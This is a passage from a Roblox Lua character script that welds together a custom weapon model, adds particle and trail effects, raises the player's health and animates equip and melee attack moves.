Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.24143982, 0.288818121, 3.98402214, 0.123706907, 0.408494055, -0.904339194, -0.870007515, 0.482966691, 0.0991476029, 0.477266878, 0.774516642, 0.415139139))
4071
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
4072
Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.288883209, 4.34139919, -3.98407936, -0.870006502, 0.482969046, 0.099145025, 0.123710275, 0.408492953, -0.904339135, -0.477267861, -0.774515808, -0.415139765))
4073
mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(2, 5, 2))
4074
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
4075
Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.377311707, 3.81443644, -4.17874861, 1.43051147e-006, 1.00000012, 5.58793545e-006, 0.258813858, 5.02169132e-006, -0.965927303, -0.965927362, 2.82377005e-006, -0.258813858))
4076
mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(2, 5, 2))
4077
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1))
4078
Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.11095357, 0.452475548, 3.33581829, 0.214266971, -0.258726388, -0.941886604, 0.124996454, -0.949091196, 0.289140463, -0.968744338, -0.179685742, -0.171018958))
4079
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
4080
Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.445028067, 4.04179811, -4.22505188, -0.433007121, 0.86602807, 0.250001073, 0.176776409, 0.353552371, -0.918559194, -0.883886516, -0.353548348, -0.306183964))
4081
mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(2, 5, 2))
4082
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1))
4083
Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.71447492, 0.377288342, 4.1787672, 0.258815825, 7.89761543e-007, -0.965926647, 2.11596489e-006, 1.00000012, 1.35600567e-006, 0.965926886, -2.41398811e-006, 0.258815885))
4084
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
4085
Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.452456236, 4.21090841, 3.33576679, -0.124996543, 0.949091196, -0.289140046, 0.214267105, -0.25872606, -0.941886783, -0.968744338, -0.179685771, -0.171019137))
4086
mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(2, 5, 2))
4087
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1))
4088
Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.94182658, 0.445016861, 4.22507095, 0.176774979, 0.353554398, -0.918558657, -0.433007926, 0.866026998, 0.250003278, 0.883886337, 0.353548825, 0.306183696))
4089
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
4090
Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.256506443, 3.92671657, -4.59811449, -1.00000024, 2.62260437e-006, 1.4603138e-006, -7.4505806e-007, 0.258819073, -0.965925872, -2.89268792e-006, -0.965925932, -0.258819073))
4091
mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(2, 5, 2))
4092
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1))
4093
Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.4743073, 0.377253056, 1.63544273, 0.866023183, -4.61935997e-007, -0.500004172, 1.52736902e-006, 1.00000012, 1.65402889e-006, 0.500004232, -2.21282244e-006, 0.866023183))
4094
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1))
4095
Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.15870619, 0.452619314, 0.758959055, -0.533491194, -0.310006529, -0.786945462, 0.124997422, -0.949090362, 0.289142251, -0.836518347, 0.0558886975, 0.545081377))
4096
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1))
4097
Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.84976673, 0.256440639, 1.85214663, 6.2584877e-007, 0.866025329, -0.500000298, -1.00000024, 1.72108412e-006, 1.7285347e-006, 2.38418579e-006, 0.500000298, 0.866025329))
4098
Gear2=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(4.29999971, 4.30000019, 1))
4099
Gear2weld=weld(m,Handle2,Gear2,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.049841404, 0.049908638, 2.78949738e-005, 0.999990344, -5.01424074e-006, -1.49011612e-007, 5.28991222e-006, 0.999994934, 2.98023224e-008, 2.38418579e-007, -1.63912773e-007, 0.999994636))
4100
mesh("SpecialMesh",Gear2,Enum.MeshType.FileMesh,"http://www.roblox.com/asset?id=156292343",Vector3.new(0, 0, 0),Vector3.new(5, 5, 15))
4101
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1))
4102
Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.82676554, 0.256523609, 4.598104, -1.1920929e-006, 0.258818835, -0.965925872, -1.00000012, 1.46776438e-006, 1.63912773e-006, 1.83098018e-006, 0.965925872, 0.258818835))
4103
4104
local modelzorzz3=Instance.new("Model") 
4105
modelzorzz3.Parent=Character 
4106
modelzorzz3.Name="Eye"
4107
4108
handle=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Handle",Vector3.new(1.20000005, 1.20000005, 1.20000005))
4109
handleweld=weld(m,Character["Torso"],handle,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-2.22326851, -3.5562191, -0.038143158, 0, 0, 1, 0, 1, 0, -1, 0, 0))
4110
mesh("SpecialMesh",handle,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 3, 1))
4111
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(1.20000005, 1.20000005, 1.20000005))
4112
Partweld=weld(m,handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0, 1.09672546e-005, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1))
4113
mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1.102, 0.950000048, 1.16999996))
4114
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(1.20000005, 1.20000005, 1.20000005))
4115
Partweld=weld(m,handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0, 1.09672546e-005, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1))
4116
mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1.102, 3, 0.863999963))
4117
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(3.79999995, 4, 1.39999998))
4118
Partweld=weld(m,handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.0999984741, 0, -0.100000381, 0, -1, 0, 0, 0, 1, -1, -0, 0))
4119
mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/asset/?id=3270017",Vector3.new(0, 0, 0),Vector3.new(4.77400017, 4.96199989, 4.73800039))
4120
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(3.79999995, 4, 1.39999998))
4121
Partweld=weld(m,handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.0999984741, 0, -0.100000381, 0, -1, 0, 0, 0, 1, -1, -0, 0))
4122
mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/asset/?id=3270017",Vector3.new(0, 0, 0),Vector3.new(4.4920001, 4.70400047, 4.73800039))
4123
Wedge=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Wedge",Vector3.new(0.600000024, 2.5999999, 0.599999964))
4124
Wedgeweld=weld(m,handle,Wedge,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.100013733, -3.48671532, -1.09328079, 1, -2.52891718e-012, -6.81310423e-013, 2.53075664e-012, 0.866021812, 0.500005603, -6.74442273e-013, -0.500005603, 0.866021752))
4125
Wedge=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Wedge",Vector3.new(0.600000024, 2.5999999, 0.599999964))
4126
Wedgeweld=weld(m,handle,Wedge,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.100009918, -3.09970522, 1.40989685, 1, 0, 0, 0, 1, 0, 0, 0, 1))
4127
Wedge=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Wedge",Vector3.new(0.600000024, 2.5999999, 0.599999964))
4128
Wedgeweld=weld(m,handle,Wedge,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.100009918, -3.09970522, 1.39007568, -0.999999702, 0, 5.96046448e-008, 0, 1, 0, -5.96046448e-008, 0, -0.999999702))
4129
Wedge=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Wedge",Vector3.new(0.600000024, 2.5999999, 0.599999964))
4130
Wedgeweld=weld(m,handle,Wedge,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.100013733, -3.61302567, 0.360752106, 1, -3.69486299e-012, 1.70532143e-012, 3.81851625e-012, 0.707111537, -0.707102001, 1.40679254e-012, 0.70710206, 0.707111537))
4131
4132
p = owner
4133
char = p.Character
4134
torso = char.Torso
4135
neck = char.Torso.Neck
4136
hum = char.Humanoid
4137
hum.MaxHealth = 1527500
4138
wait()
4139
hum.Health =hum.MaxHealth
4140
4141
local particleemitter = Instance.new("ParticleEmitter", Handle)
4142
particleemitter.VelocitySpread = 180
4143
particleemitter.Lifetime = NumberRange.new(0.1)
4144
particleemitter.Speed = NumberRange.new(2)
4145
particleemitter.Size = NumberSequence.new({NumberSequenceKeypoint.new(0, 1), NumberSequenceKeypoint.new(1, 5.563)})
4146
particleemitter.RotSpeed = NumberRange.new(-45, 45)
4147
particleemitter.Rate = 100
4148
particleemitter.Rotation = NumberRange.new(-45, 45)
4149
particleemitter.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0, 0), NumberSequenceKeypoint.new(0.701, 0), NumberSequenceKeypoint.new(1, 1)})
4150
particleemitter.LightEmission = 0.8
4151
particleemitter.Color = ColorSequence.new(Color3.new(1, 1, 1), Color3.new(0, 0, 0))
4152
4153
local particleemitter = Instance.new("ParticleEmitter", Handle2)
4154
particleemitter.VelocitySpread = 180
4155
particleemitter.Lifetime = NumberRange.new(0.1)
4156
particleemitter.Speed = NumberRange.new(2)
4157
particleemitter.Size = NumberSequence.new({NumberSequenceKeypoint.new(0, 1), NumberSequenceKeypoint.new(1, 5.563)})
4158
particleemitter.RotSpeed = NumberRange.new(-45, 45)
4159
particleemitter.Rate = 100
4160
particleemitter.Rotation = NumberRange.new(-45, 45)
4161
particleemitter.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0, 0), NumberSequenceKeypoint.new(0.701, 0), NumberSequenceKeypoint.new(1, 1)})
4162
particleemitter.LightEmission = 0.8
4163
particleemitter.Color = ColorSequence.new(Color3.new(1, 1, 1), Color3.new(0, 0, 0))
4164
4165
local particleemitter = Instance.new("ParticleEmitter", handle)
4166
particleemitter.VelocitySpread = 180
4167
particleemitter.Lifetime = NumberRange.new(0.1)
4168
particleemitter.Speed = NumberRange.new(2)
4169
particleemitter.Size = NumberSequence.new({NumberSequenceKeypoint.new(0, 1), NumberSequenceKeypoint.new(1, 7.563)})
4170
particleemitter.RotSpeed = NumberRange.new(-45, 45)
4171
particleemitter.Rate = 100
4172
particleemitter.Rotation = NumberRange.new(-45, 45)
4173
particleemitter.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0, 0), NumberSequenceKeypoint.new(0.701, 0), NumberSequenceKeypoint.new(1, 1)})
4174
particleemitter.LightEmission = 0.8
4175
particleemitter.Color = ColorSequence.new(Color3.new(1, 1, 1), Color3.new(0, 0, 0))
4176
4177
particleemitter.Enabled = true
4178
    MagicCircle(BrickColor.new("Really black"),cf(Torso.Position),75,75,75,35,35,35,0.025)
4179
    MagicCircle(BrickColor.new("Really black"),cf(Torso.Position),76,76,76,36,36,36,0.025)
4180
    so("http://www.roblox.com/asset/?id=150829983",Character,3,0.475)
4181
    so("http://www.roblox.com/asset/?id=231917742",Character,3,0.75)
4182
    for i=0,1,0.005 do
4183
        swait()
4184
		RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,5+1*i)*angles(math.rad(-15),math.rad(0),math.rad(0)),0.1)
4185
        Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(-25),math.rad(0),math.rad(0)),0.1)
4186
        handleweld.C0=clerp(handleweld.C0,cf(0,0+1*i,0)*angles(math.rad(0),math.rad(0),math.rad(0)),0.1)
4187
        Handle2weld.C0=clerp(Handle2weld.C0,cf(0-1*i,0,0)*angles(math.rad(90),math.rad(15),math.rad(0)),0.1)
4188
        Handleweld.C0=clerp(Handleweld.C0,cf(0+1*i,0,0)*angles(math.rad(90),math.rad(-15),math.rad(0)),0.1)
4189
        LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(-30),math.rad(0),math.rad(-30)),0.1)
4190
        RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(-30),math.rad(0),math.rad(30)),0.1)
4191
        RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-30),math.rad(0),math.rad(-30)),0.1)
4192
		LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-30),math.rad(0),math.rad(30)),0.1)
4193
    end
4194
    for i=0,1,0.04 do
4195
        swait()
4196
		RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,-1)*angles(math.rad(40),math.rad(0),math.rad(-40)),.3)
4197
		handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
4198
        Handleweld.C0=clerp(Handleweld.C0,cf(1.5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)  
4199
        Handle2weld.C0=clerp(Handle2weld.C0,cf(-1.5,3,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)  
4200
        RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(-40),math.rad(0),math.rad(40)),.3)
4201
        LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(70),math.rad(0),math.rad(-45)),.3)
4202
       	RH.C0=clerp(RH.C0,cf(1,-1,0)*euler(0,1.57,0)*angles(math.rad(0),math.rad(0),math.rad(-20)),.3)
4203
		LH.C0=clerp(LH.C0,cf(-1,0.5,0)*euler(0,-1.57,0)*angles(math.rad(-10),math.rad(30),math.rad(-40)),.3)
4204
    end
4205
attack = false
4206
end
4207
end
4208
end)
4209
4210
function MagicCircle(brickcolor,cframe,x1,y1,z1,x3,y3,z3,delay)
4211
local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5))
4212
prt.Anchored=true
4213
prt.CFrame=cframe
4214
local msh=mesh("SpecialMesh",prt,"Sphere","",vt(0,0,0),vt(x1,y1,z1))
4215
game:GetService("Debris"):AddItem(prt,2)
4216
coroutine.resume(coroutine.create(function(Part,Mesh) 
4217
for i=0,1,delay do
4218
wait()
4219
Part.CFrame=Part.CFrame
4220
Part.Transparency=i
4221
Mesh.Scale=Mesh.Scale+vt(x3,y3,z3)
4222
end
4223
Part.Parent=nil
4224
end),prt,msh)
4225
end
4226
4227
TrailDeb = false
4228
4229
function equipanim()
4230
    attack=true
4231
    Humanoid.WalkSpeed = 0
4232
    if TrailDeb == false then
4233
							TrailDeb = true
4234
						end
4235
4236
						
4237
coroutine.wrap(function()
4238
local Old = handle.CFrame.p
4239
while wait()do
4240
if not TrailDeb then break end
4241
local New = handle.CFrame.p
4242
local Mag =(Old -New).magnitude
4243
local Dis =(Old +New)/2
4244
local Trail = Instance.new("Part",Character)
4245
Trail.Material = "Neon"
4246
Trail.Anchored = true
4247
Trail.CanCollide = false
4248
Trail.BrickColor = TorsoColor
4249
Trail.Size = Vector3.new(0.2,Mag,0.2)
4250
Trail.TopSurface = 0
4251
Trail.BottomSurface = 0
4252
Trail.formFactor = "Custom"
4253
Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
4254
local ms = Instance.new("BlockMesh",Trail)
4255
ms.Scale = Vector3.new(1,1,1)
4256
local TM = Instance.new("CylinderMesh",Trail)
4257
TM.Scale = Vector3.new(1,1,1)
4258
Old = New
4259
coroutine.wrap(function()
4260
for i = 1,0,-0.1 do
4261
wait()
4262
TM.Scale = TM.Scale * Vector3.new(i,1,i)
4263
end
4264
Trail:remove()
4265
end)()
4266
coroutine.wrap(function()
4267
for i = 1,10 do
4268
wait()
4269
Trail.Transparency = Trail.Transparency +0.1
4270
end end)()end end)()
4271
coroutine.wrap(function()
4272
local Old = Handle.CFrame.p
4273
while wait()do
4274
if not TrailDeb then break end
4275
local New = Handle.CFrame.p
4276
local Mag =(Old -New).magnitude
4277
local Dis =(Old +New)/2
4278
local Trail = Instance.new("Part",Character)
4279
Trail.Material = "Neon"
4280
Trail.Anchored = true
4281
Trail.CanCollide = false
4282
Trail.BrickColor = TorsoColor
4283
Trail.Size = Vector3.new(0.2,Mag,0.2)
4284
Trail.TopSurface = 0
4285
Trail.BottomSurface = 0
4286
Trail.formFactor = "Custom"
4287
Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
4288
local ms = Instance.new("BlockMesh",Trail)
4289
ms.Scale = Vector3.new(1,1,1)
4290
local TM = Instance.new("CylinderMesh",Trail)
4291
TM.Scale = Vector3.new(1,1,1)
4292
Old = New
4293
coroutine.wrap(function()
4294
for i = 1,0,-0.1 do
4295
wait()
4296
TM.Scale = TM.Scale * Vector3.new(i,1,i)
4297
end
4298
Trail:remove()
4299
end)()
4300
coroutine.wrap(function()
4301
for i = 1,10 do
4302
wait()
4303
Trail.Transparency = Trail.Transparency +0.1
4304
end end)()end end)()
4305
coroutine.wrap(function()
4306
local Old = Handle2.CFrame.p
4307
while wait()do
4308
if not TrailDeb then break end
4309
local New = Handle2.CFrame.p
4310
local Mag =(Old -New).magnitude
4311
local Dis =(Old +New)/2
4312
local Trail = Instance.new("Part",Character)
4313
Trail.Material = "Neon"
4314
Trail.Anchored = true
4315
Trail.CanCollide = false
4316
Trail.BrickColor = TorsoColor
4317
Trail.Size = Vector3.new(0.2,Mag,0.2)
4318
Trail.TopSurface = 0
4319
Trail.BottomSurface = 0
4320
Trail.formFactor = "Custom"
4321
Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
4322
local ms = Instance.new("BlockMesh",Trail)
4323
ms.Scale = Vector3.new(1,1,1)
4324
local TM = Instance.new("CylinderMesh",Trail)
4325
TM.Scale = Vector3.new(1,1,1)
4326
Old = New
4327
coroutine.wrap(function()
4328
for i = 1,0,-0.1 do
4329
wait()
4330
TM.Scale = TM.Scale * Vector3.new(i,1,i)
4331
end
4332
Trail:remove()
4333
end)()
4334
coroutine.wrap(function()
4335
for i = 1,10 do
4336
wait()
4337
Trail.Transparency = Trail.Transparency +0.1
4338
end end)()end end)()
4339
    so("http://www.roblox.com/asset/?id=200632370",Torso,1,0.5) 
4340
    for i=0,1,0.005 do
4341
        swait()
4342
		RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,100-100*i)*euler(0,0,0+90*i),.2)
4343
        Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0.1,0,0),.2)
4344
        handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),0.05)
4345
        Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),0.05)
4346
        Handleweld.C0=clerp(Handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),0.05)
4347
        LW.C0=clerp(LW.C0,cf(-1,0.5,-0.5)*angles(math.rad(90),math.rad(0),math.rad(40)),.2)
4348
        RW.C0=clerp(RW.C0,cf(1,0.5,-0.5)*angles(math.rad(90),math.rad(0),math.rad(-40)),.2)
4349
    end
4350
    for i=0,1,0.005 do
4351
        swait()
4352
		RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,2.5)*euler(0,0,0+90*i),.2)
4353
        Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0.1,0,0),.2)
4354
        handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),0.05)
4355
        Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),0.05)
4356
        Handleweld.C0=clerp(Handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),0.05)
4357
        LW.C0=clerp(LW.C0,cf(-1,0.5,-0.5)*angles(math.rad(90),math.rad(0),math.rad(40)),.2)
4358
        RW.C0=clerp(RW.C0,cf(1,0.5,-0.5)*angles(math.rad(90),math.rad(0),math.rad(-40)),.2)
4359
    end
4360
    so("http://www.roblox.com/asset/?id=150829983",Character,1,0.9)
4361
    so("http://www.roblox.com/asset/?id=150829983",Character,1,0.9)
4362
    for i=0,1,0.005 do
4363
        swait()
4364
		RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,5+1*i)*angles(math.rad(-15),math.rad(0),math.rad(0)),0.1)
4365
        Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(-25),math.rad(0),math.rad(0)),0.1)
4366
        handleweld.C0=clerp(handleweld.C0,cf(0,0+1*i,0)*angles(math.rad(0),math.rad(0),math.rad(0)),0.1)
4367
        Handle2weld.C0=clerp(Handle2weld.C0,cf(0-1*i,0,0)*angles(math.rad(90),math.rad(15),math.rad(0)),0.1)
4368
        Handleweld.C0=clerp(Handleweld.C0,cf(0+1*i,0,0)*angles(math.rad(90),math.rad(-15),math.rad(0)),0.1)
4369
        LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(-30),math.rad(0),math.rad(-30)),0.1)
4370
        RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(-30),math.rad(0),math.rad(30)),0.1)
4371
        RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-30),math.rad(0),math.rad(-30)),0.1)
4372
		LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-30),math.rad(0),math.rad(30)),0.1)
4373
    end
4374
    for i=0,1,0.04 do
4375
        swait()
4376
		RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,-1)*angles(math.rad(40),math.rad(0),math.rad(-40)),.3)
4377
		handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
4378
        Handleweld.C0=clerp(Handleweld.C0,cf(1.5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)  
4379
        Handle2weld.C0=clerp(Handle2weld.C0,cf(-1.5,3,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)  
4380
        RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(-40),math.rad(0),math.rad(40)),.3)
4381
        LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(70),math.rad(0),math.rad(-45)),.3)
4382
       	RH.C0=clerp(RH.C0,cf(1,-1,0)*euler(0,1.57,0)*angles(math.rad(0),math.rad(0),math.rad(-20)),.3)
4383
		LH.C0=clerp(LH.C0,cf(-1,0.5,0)*euler(0,-1.57,0)*angles(math.rad(-10),math.rad(30),math.rad(-40)),.3)
4384
    end
4385
    --dmgstop()
4386
    attack=false
4387
    Humanoid.WalkSpeed = 12
4388
if TrailDeb == true then
4389
						TrailDeb = false
4390
end
4391
end
4392
4393
function attackone()
4394
    attack=true
4395
    if TrailDeb == false then
4396
							TrailDeb = true
4397
						end
4398
						
4399
4400
coroutine.wrap(function()
4401
local Old = Handle.CFrame.p
4402
while wait()do
4403
if not TrailDeb then break end
4404
local New = Handle.CFrame.p
4405
local Mag =(Old -New).magnitude
4406
local Dis =(Old +New)/2
4407
local Trail = Instance.new("Part",Character)
4408
Trail.Material = "Neon"
4409
Trail.Anchored = true
4410
Trail.CanCollide = false
4411
Trail.BrickColor = TorsoColor
4412
Trail.Size = Vector3.new(0.2,Mag,0.2)
4413
Trail.TopSurface = 0
4414
Trail.BottomSurface = 0
4415
Trail.formFactor = "Custom"
4416
Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
4417
local ms = Instance.new("BlockMesh",Trail)
4418
ms.Scale = Vector3.new(1,1,1)
4419
local TM = Instance.new("CylinderMesh",Trail)
4420
TM.Scale = Vector3.new(1,1,1)
4421
Old = New
4422
coroutine.wrap(function()
4423
for i = 1,0,-0.1 do
4424
wait()
4425
TM.Scale = TM.Scale * Vector3.new(i,1,i)
4426
end
4427
Trail:remove()
4428
end)()
4429
coroutine.wrap(function()
4430
for i = 1,10 do
4431
wait()
4432
Trail.Transparency = Trail.Transparency +0.1
4433
end end)()end end)()
4434
    con1=Gear.Touched:connect(function(hit) Damagefunc(hit,10,20,math.random(20,40),"Normal",RootPart,.2,1) end) 
4435
    for i=0,1,0.08 do
4436
        swait()
4437
		RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(-5),math.rad(0),math.rad(-10)),.3)
4438
        Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(5),math.rad(0),math.rad(10)),.3)
4439
        handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
4440
        Handleweld.C0=clerp(Handleweld.C0,cf(-3,1,2)*angles(math.rad(90),math.rad(0),math.rad(0)),.2)
4441
        Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
4442
        RW.C0=clerp(RW.C0,cf(1,0.5,-0.5)*euler(.5,1.8,1.5),.3)
4443
        LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(2),math.rad(25),math.rad(-15)),.3)
4444
    end
4445
    so("http://www.roblox.com/asset/?id=231917758",Handle,1,.9) 
4446
    so("http://www.roblox.com/asset/?id=159972643",Torso,1,1) 
4447
    for i=0,1,0.1 do
4448
        swait()
4449
		RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(10),math.rad(0),math.rad(20)),.3)
4450
